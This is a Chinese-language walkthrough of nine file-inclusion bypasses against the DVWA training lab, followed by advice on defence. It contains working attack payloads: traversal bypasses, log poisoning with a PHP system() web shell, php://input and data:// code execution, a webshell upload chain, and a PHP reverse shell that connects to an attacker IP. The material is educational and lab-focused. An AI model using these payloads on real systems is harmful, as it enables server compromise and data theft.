DVWA中级文件包含漏洞:九种绕过方法与实战渗透指南

发布时间:2026/6/23 0:12:54
DVWA中级文件包含漏洞:九种绕过方法与实战渗透指南 1. 项目概述为什么Medium级别的文件包含值得深挖如果你已经玩转了DVWA靶场的Low级别觉得文件包含无非就是改改page参数那Medium级别可能会给你当头一棒。它就像一道精心设计的“防火墙”把最明显的漏洞给堵上了迫使你从“脚本小子”式的操作转向理解漏洞原理和渗透测试的真正思维。文件包含漏洞尤其是本地文件包含LFI是Web安全中一个经典且危害极大的漏洞类型它允许攻击者包含并执行服务器上的任意文件轻则读取敏感配置重则结合其他漏洞获取Webshell甚至直接拿到服务器权限。Medium级别在DVWA中扮演了一个承上启下的角色。它没有Low级别那么“友好”直接过滤了../和..\这类经典的目录遍历符号但它的防护又远未达到完美。这正是我们学习的黄金样本——一个存在缺陷但并非不堪一击的防御机制。通关它不仅仅是完成一个任务更是系统性地掌握针对过滤机制的九种绕过思路。这些思路从简单的编码绕过到利用日志文件、会话文件再到结合文件上传和PHP封装协议几乎涵盖了实战中可能遇到的大部分LFI利用场景。理解每一种方法背后的“为什么”比单纯记住Payload更重要。这能让你在面对未知的WAFWeb应用防火墙或自定义过滤规则时依然能灵活地构造攻击向量。2. 环境准备与靶场设置要点在开始“通关”之前确保你的实验环境是正确且可控的这能避免很多不必要的麻烦。我强烈建议在虚拟机如VMware或VirtualBox中搭建一个完整的渗透测试环境例如使用Kali Linux作为攻击机而将DVWA部署在另一台独立的虚拟机如Ubuntu LAMP或Docker容器中。这样做的好处是环境隔离即使操作失误也不会影响宿主机。2.1 DVWA靶场配置详解首先从DVWA官网GitHub下载最新版本。部署后访问其首页你会看到一个红色的警告提示数据库未配置。你需要根据config/config.inc.php.dist模板创建config.inc.php文件。这里有几个关键配置项直接影响我们的实验$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] dvwa; $_DVWA[ db_password ] pssw0rd; $_DVWA[ default_security_level ] medium;特别注意最后一项default_security_level你可以将其设置为medium这样每次登录后默认就是中级难度省去切换的步骤。完成配置后运行setup.php页面来创建数据库和初始数据。注意DVWA的数据库用户dvwa默认密码是pssw0rd但在生产环境中或你自己的测试服务器上务必修改为强密码并且不要使用root用户连接数据库这是最基本的安全实践。登录DVWA默认账号admin/password后在左侧导航栏找到“DVWA Security”并设置安全级别为“Medium”。这时再访问“File Inclusion”模块你会发现URL变成了http://your-ip/dvwa/vulnerabilities/fi/?pageinclude.php。尝试输入../../../../etc/passwd会发现返回了“Illegal directory traversal detected!”这就是Medium级别施加的过滤。2.2 攻击机工具与思维准备在Kali Linux攻击机上我们主要会用到以下工具浏览器与开发者工具用于手动测试和观察请求响应。我习惯用Firefox配合HackTools插件或者Chrome。Burp Suite渗透测试的“瑞士军刀”。我们将大量使用它的Proxy代理、Repeater重放和Intruder入侵者模块。用Burp Suite拦截、修改和重发请求是高效测试的关键。curl命令在终端下快速测试Payload特别适合需要编码或处理特殊字符的场景。Netcat (nc)一个简单的网络工具用于测试远程文件包含RFI或进行简单的网络交互。除了工具更重要的是心态转变从“尝试已知Payload”转变为“分析过滤逻辑构造新Payload”。Medium级别的防护代码通常位于includes/dvwaPage.inc.php或类似文件中是我们可以查看的DVWA开源。其核心过滤函数可能类似于$file str_replace( array( ../, ..\\ ), , $file );这行代码就是我们的“对手”。它简单地删除了输入字符串中的../和..\。我们的所有绕过技巧都围绕着如何让最终的字符串在经过这层删除后依然能组合成有效的路径遍历序列。3. 核心原理Medium级别过滤机制深度拆解理解防御机制是成功绕过的第一步。DVWA Medium级别对文件包含的防护通常是通过一个简单的字符串替换函数实现的。假设服务器端代码如下?php $file $_GET[page]; // 简单的过滤 $file str_replace(array(../, ..\\), , $file); include($file); ?这段代码的逻辑非常清晰它遍历$file变量发现../或..\就直接替换为空字符串。这是一种“黑名单”式的过滤而且是非常初级的黑名单。它的致命弱点在于只进行了一次替换且是简单的字符串匹配。这就引出了我们绕过的核心思想构造一个字符串在经过这次删除操作后剩余的字符能重新组合成我们想要的路径遍历序列。举个例子假设我们输入..././。过滤函数看到../将其删除于是字符串变成了./。这显然不行。但如果我们输入..././呢注意这里是三个点。过滤函数会找到中间的../并删除删除后剩下的部分变成了..前两个点和./最后一个点加斜杠这无法组合成../。所以我们需要更精巧的构造。另一种思路是利用过滤函数只执行一次的特性。如果我们输入....//过滤函数找到../并删除剩下../第一个点和最后一个点加上中间的两个斜杠变成了一个这里需要仔细看。实际上输入....//删除中间的../后剩下的是.和//依然不行。关键在于我们要让删除点不在我们最终需要的../序列的精确位置上。更高级的绕过会利用编码、双重编码、操作系统路径解析差异、PHP协议封装器等。这些我们会在后续的九种方法中一一展开。但请始终记住这个核心我们是在和这个简单的str_replace函数玩游戏目标是在它处理完后让include()函数接收到一个能成功向上级目录跳转的路径。4. 九种渗透方法全解析与实践下面我将逐一拆解这九种方法每种方法都会说明原理、给出具体Payload、演示操作过程并分享我在实践中遇到的坑和技巧。4.1 方法一双写绕过目录遍历符号这是最直接应对简单字符串删除过滤的方法。原理既然过滤函数删除../那我们就在../中间再插入一个../变成..././。当过滤函数删除中间那个../后剩下的部分恰好就是../。Payload构造与测试 原始输入..././过滤过程..././- 删除中间的../- 结果为../最终URLhttp://your-ip/dvwa/vulnerabilities/fi/?page..././..././..././..././etc/passwd实际操作中你需要根据跳转的目录层级重复这个模式。比如想跳转四级目录就需要四个..././序列。实操心得在Burp Suite的Repeater模块里测试这个Payload非常直观。你可以先发送一个包含../../../../etc/passwd的请求会被拦截然后将其修改为..././..././..././..././etc/passwd再发送对比响应。成功的话你会看到经典的/etc/passwd文件内容。注意Windows系统下测试DVWA可能没有/etc/passwd可以尝试包含C:\windows\system32\drivers\etc\hosts等文件但路径分隔符和过滤逻辑可能需要调整例如过滤..\。4.2 方法二绝对路径包含当相对路径被过滤时直接使用绝对路径有时能奇效。原理过滤函数通常只盯着../对于以/开头的绝对路径可能疏于防范。在Linux/Unix系统上直接包含/etc/passwd。Payloadhttp://your-ip/dvwa/vulnerabilities/fi/?page/etc/passwd适用场景与限制这种方法成功率取决于后端代码是否对绝对路径做了限制。有些开发人员会检查路径是否以Web根目录开头但DVWA的Medium级别通常没有这个检查。它的局限性在于你必须要知道目标文件的绝对路径这在信息收集不充分时比较困难。但在Linux系统中一些常见配置文件如/etc/passwd,/proc/self/environ,/var/log/apache2/access.log的路径是相对固定的。4.3 方法三利用非预期输入点——日志文件包含这是LFI漏洞升级到RCE远程代码执行最经典的桥梁之一。原理Web服务器如Apache、Nginx的访问日志会记录每一个请求包括User-Agent、Referer等头部信息。如果我们可以向日志文件写入PHP代码再通过LFI包含这个日志文件代码就会被执行。步骤定位日志路径首先需要知道日志文件在哪里。常见路径有Apache:/var/log/apache2/access.log,/var/log/httpd/access_logNginx:/var/log/nginx/access.log可以通过方法一或二尝试包含这些路径来确认。污染日志使用Burp Suite或curl发送一个请求并将User-Agent修改为一段PHP代码例如?php system($_GET[cmd]); ?。curl -A ?php system(\$_GET[cmd]); ? http://your-ip/dvwa/包含并执行通过文件包含漏洞去包含这个日志文件。http://your-ip/dvwa/vulnerabilities/fi/?page..././..././..././var/log/apache2/access.log如果日志文件内容被成功包含且PHP代码被执行页面可能会显示异常因为日志里有很多文本此时可以尝试传递参数http://your-ip/dvwa/vulnerabilities/fi/?page..././..././..././var/log/apache2/access.logcmdid查看页面源代码寻找命令id的执行结果。踩坑记录日志文件通常很大包含时可能导致页面加载缓慢或超时。另外新版本的Apache/Nginx可能会对日志中的特殊字符进行转义导致PHP代码无法正常解析。此时可以尝试在Referer或GET参数中注入代码但成功率不如User-Agent高。务必注意污染日志会留下非常明显的攻击痕迹。4.4 方法四利用PHP会话文件Session File与日志文件类似PHP的会话文件Session也是攻击者可控的存储点。原理PHP会将session数据存储在服务器上的临时文件中通常位于/tmp或/var/lib/php/sessions文件名一般为sess_[PHPSESSID]。Session数据来源于$_SESSION数组而我们可以通过控制Cookie中的PHPSESSID来定位文件有时还能间接影响Session数据。步骤获取或设置Session ID访问DVWA用浏览器开发者工具查看Cookie中的PHPSESSID值。猜测会话路径尝试包含会话文件。路径可能是/tmp/sess_[你的PHPSESSID]或/var/lib/php/sessions/sess_[你的PHPSESSID]。 Payload:page..././..././tmp/sess_abc123def456注入PHP代码到Session这通常需要应用本身有将用户输入存入$_SESSION的功能。DVWA的某些模块如XSS可能会这样做。如果存在这样的点我们可以将PHP代码存入某个Session变量然后通过LFI包含对应的session文件来执行代码。局限性相比日志文件利用Session的条件更苛刻需要知道Session存储路径、Session ID并且要有向Session中写入数据的能力。在DVWA的纯文件包含模块中通常难以直接利用但作为一种思路需要了解。4.5 方法五利用PHP封装协议——php://inputPHP内置的封装协议Wrapper是LFI利用的“神兵利器”php://input是其中用于执行代码最直接的一个。原理php://input允许你读取原始的POST数据。当我们将page参数设置为php://input并在POST body中发送PHP代码时服务器会将这些代码作为文件内容来“包含”从而执行。操作演示使用Burp Suite拦截对文件包含页面的GET请求。将GET参数修改为pagephp://input将请求方法从GET改为POST。在请求体Body中写入PHP代码例如?php system(ls -la /); ?发送请求。如果配置允许allow_url_include通常需要为On你将在响应中看到根目录的列表。Payload示例POST /dvwa/vulnerabilities/fi/ HTTP/1.1 Host: your-ip ...其他头部... Content-Type: application/x-www-form-urlencoded pagephp://input ?php system(ls /); ?关键点allow_url_include这个PHP配置项必须为On否则php://input用于包含时会失败。在DVWA的默认Docker或一些集成环境中这个选项可能是关闭的。你可以通过包含一个输出phpinfo()的页面来检查。4.6 方法六利用PHP封装协议——php://filterphp://filter不能直接执行代码但它是读取服务器源码的绝佳工具为后续攻击铺平道路。原理这个协议可以对数据流进行过滤处理。我们可以用它来以Base64编码或其他编码的形式读取任意文件的源码从而绕过一些直接包含源码导致的代码执行比如包含非PHP文件并避免乱码问题。Payload构造pagephp://filter/convert.base64-encode/resourceindex.php这个Payload会以Base64编码的形式返回index.php的源代码。你将得到一串Base64字符串解码后就能看到清晰的PHP源码。实战意义通过读取index.php、config.inc.php等关键文件我们可以发现数据库密码、其他漏洞点、程序逻辑等。例如读取文件包含漏洞自身的源码文件可能是fi.php就能精确看到过滤逻辑从而设计更有针对性的绕过方案。操作在浏览器或Burp中直接访问上述URL复制返回的Base64字符串在Kali终端使用echo “Base64字符串” | base64 -d即可解码。4.7 方法七利用PHP封装协议——data://data://协议同样强大它允许直接在URI中嵌入数据。原理data://协议可以让我们直接定义“文件内容”。格式为data://[mediatype][;base64],data。Payload构造与执行pagedata://text/plain,?php echo shell_exec(id); ?或者使用Base64编码避免特殊字符问题pagedata://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCdpZCcpOyA/Pg条件与限制和php://input一样allow_url_include必须为On。此外某些PHP版本或配置可能对data://协议有更严格的限制。在测试时如果php://input成功而data://失败多半是这个原因。4.8 方法八利用文件上传功能组合攻击这是将本地文件包含LFI危害最大化的方法通常能直接获得Webshell。原理如果网站同时存在文件上传漏洞和文件包含漏洞那么攻击者可以上传一个含有恶意代码的图片或文本文件需要绕过上传校验然后通过文件包含漏洞去执行这个上传的文件。在DVWA中的实践切换到DVWA的“File Upload”模块Medium级别。Medium级别的上传会检查文件类型MIME类型和文件扩展名。我们可以通过Burp Suite拦截上传请求将Content-Type修改为image/jpeg并将文件名改为shell.php.jpg有时能绕过简单的黑名单。上传成功后服务器会返回文件的存储路径例如/dvwa/hackable/uploads/shell.php.jpg。回到“File Inclusion”模块使用路径遍历包含这个上传的文件page..././..././hackable/uploads/shell.php.jpg如果上传的文件内容为?php system($_GET[c]); ?那么访问上述链接时代码就可能被执行。深度技巧这种组合拳的难点往往在上传绕过。除了修改MIME类型还可以尝试双扩展名shell.php.jpg大小写绕过shell.Php空格/点号绕过shell.php.(Windows下可能被忽略最后一个点).htaccess攻击如果服务器是Apache且允许上传.htaccess可以上传一个将.jpg文件解析为PHP的规则。 包含上传文件时路径一定要准确。上传后最好确认一下文件是否真的在预期的目录下。4.9 方法九路径截断Null Byte Injection与编码绕过这是一种较老但在特定环境下依然有效的方法。原理空字节截断在旧版本的PHP5.3.4中字符串中的空字节%00会标识字符串的结束。如果后端代码在包含文件时会在用户输入后添加固定的后缀如.php例如include($_GET[page] . .php)那么提交../../../../etc/passwd%00拼接后成为../../../../etc/passwd%00.phpPHP在读取时遇到%00就停止从而成功包含/etc/passwd。注意此方法在现代PHP环境中已基本失效。编码绕过过滤函数可能只检查明文../但不会检查URL编码或双重URL编码后的形式。URL编码../编码后为%2e%2e%2f(点.是%2e斜杠/是%2f)。双重URL编码../-%2e%2e%2f-%252e%252e%252f对%再次编码。 提交%2e%2e%2f服务器在接收到参数后可能会先进行一次URL解码变成../然后才交给过滤函数。如果过滤函数处理的是解码后的字符串则会被拦截。但如果过滤函数错误地应用于编码后的字符串或者我们提交的是双重编码而include函数却能正确解码就可能绕过。测试方法在Burp Suite的Intruder模块中可以方便地批量测试各种编码变体。例如将page参数的值设为§../../etc/passwd§然后在Payloads里加载各种编码字典如URL编码、双重URL编码、Unicode编码等观察哪些Payload能成功返回/etc/passwd内容。5. 实战演练从信息收集到获取Webshell现在我们将多种方法串联起来模拟一个完整的、由浅入深的渗透过程。目标通过DVWA Medium文件包含漏洞最终在服务器上获取一个反向Shell。步骤1信息收集与漏洞确认访问http://your-ip/dvwa/vulnerabilities/fi/。尝试page../../../../etc/passwd确认被过滤。尝试方法一..././..././etc/passwd成功读取确认LFI漏洞存在并验证了双写绕过有效。步骤2源码审计与配置探查使用方法六php://filter读取漏洞文件源码确认过滤逻辑pagephp://filter/convert.base64-encode/resource./vulnerabilities/fi/index.php。解码后果然看到str_replace(array(../, ..\\), , $file)。读取phpinfo()信息确认PHP配置pagephp://filter/convert.base64-encode/resource../../../../phpinfo.php如果存在。查找allow_url_include和allow_url_fopen的值。假设发现allow_url_include On那么php://input和data://协议可用。步骤3尝试直接代码执行使用方法五php://input执行命令。用Burp Suite发送POST请求Body为?php system(whoami); ?。成功返回Web服务器进程的用户如www-data。步骤4建立持久化访问反向Shell在Kali攻击机上监听一个端口nc -lvnp 4444构造一个PHP反向Shell命令。可以使用php -r $sockfsockopen(攻击机IP,4444);exec(/bin/sh -i 3 3 23);但更可靠的方式是使用标准的PHP反向Shell代码。我们通过php://input执行它POST /dvwa/vulnerabilities/fi/ HTTP/1.1 ... pagephp://input ?php $sock fsockopen(192.168.1.100, 4444); // 替换为你的Kali IP $descriptorspec array( 0 $sock, 1 $sock, 2 $sock ); $process proc_open(/bin/sh, $descriptorspec, $pipes); proc_close($process); ?发送请求观察Kali上的nc是否接收到连接。如果成功你就获得了一个交互式的Shell。步骤5权限提升与横向移动简要思路在获得的Shell中尝试sudo -l查看当前用户能以root身份运行哪些命令。查找具有SUID权限的可执行文件find / -perm -us -type f 2/dev/null检查内核版本搜索公开的本地提权LPE漏洞。这些步骤超出了DVWA文件包含的范围属于后续的渗透环节但它是整个攻击链的自然延伸。6. 防御策略与安全开发建议作为开发者或安全人员了解攻击方法是为了更好地防御。针对文件包含漏洞以下是一些根本性的解决方案白名单机制是王道不要使用用户输入直接作为包含的文件名。如果必须动态包含应预先定义好允许包含的文件列表白名单只允许包含列表内的文件。$allowed_pages array(home.php, about.php, contact.php); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page); } else { include(error.php); }严格限制文件路径如果白名单不可行必须对用户输入进行严格的路径规范化realpath和检查确保最终路径在Web文档根目录之内。$base_dir /var/www/html/includes/; $user_file $_GET[page]; $real_path realpath($base_dir . $user_file); // 检查$real_path是否以$base_dir开头 if (strpos($real_path, $base_dir) 0) { include($real_path); } else { die(非法访问); }关闭危险特性在非必要的情况下在php.ini中设置allow_url_include Off和allow_url_fopen Off从根本上杜绝远程文件包含和危险封装协议的使用。更新与打补丁保持PHP、Web服务器及应用程序为最新版本避免因旧版本缺陷如空字节截断导致漏洞。实施WAF规则在应用前端部署Web应用防火墙配置规则过滤常见的路径遍历序列../,..\, 各种编码形式和危险协议字符串php://,data://等。7. 常见问题排查与技巧实录在实际操作中你肯定会遇到各种问题。这里记录了一些典型场景和解决方法问题1双写绕过..././不成功页面显示空白或错误。排查首先确认安全级别确实是Medium。然后使用Burp Suite拦截请求查看发送的Payload是否完全正确。有可能浏览器或Burp对URL进行了二次编码。尝试直接在Repeater中发送原始Payload。另外数清楚需要跳转的目录层级。DVWA的文件包含脚本位置是/dvwa/vulnerabilities/fi/index.php从该目录到根目录/通常需要4级../。问题2使用php://input或data://协议时返回错误或没有执行代码。排查检查allow_url_include设置。创建一个包含?php phpinfo(); ?的页面查看phpinfo()输出确认。如果为Off则这些协议不可用。此外确保请求方法正确php://input必须用POST并且PHP代码直接写在POST Body中前面不能有其它参数。问题3包含日志文件后页面乱码或没有执行代码。排查日志文件体积过大导致PHP执行超时或内存不足。可以尝试只包含日志文件的最后几行如果系统支持例如tail -n 50 /var/log/apache2/access.log。更可能的原因是PHP代码在日志中被转义了。查看日志文件原始内容用php://filter读取确认?php ?标签是否完整。有时和会被转义为lt;和gt;。可以尝试使用短标签?或利用PHP的字符串解析特性如将代码放在User-Agent中?php system($_GET[‘cmd’]); ?但引号可能需要处理。问题4上传了Webshell但包含时无法执行。排查首先确认文件是否真的上传成功并且路径正确。其次检查文件权限。上传的文件可能只有rw-r--r--权限Web服务器用户如www-data可能没有执行权限。更重要的是即使扩展名是.php.jpgApache/NGINX是否将其作为PHP解析取决于其配置AddType或location规则。如果服务器不将其解析为PHP包含它只会显示源代码或下载。此时需要利用.htaccess文件或其它解析漏洞。独家技巧使用Burp Suite Intruder进行模糊测试当你不确定过滤规则时不要盲目尝试。用Burp Intruder进行模糊测试Fuzzing是最高效的方法。拦截一个包含pageinclude.php的正常请求发送到Intruder。在page参数值的位置如include.php设置Payload标记。Payloads选择“Brute forcer”或加载一个包含各种绕过Payload的字典文件如../../../、..\..\、..././、%2e%2e%2f、....//等。发起攻击根据响应长度、状态码和内容快速筛选出可能成功的Payload。响应长度明显不同的很可能就是绕过成功的标志例如成功包含了/etc/passwd文件内容会使响应体变大。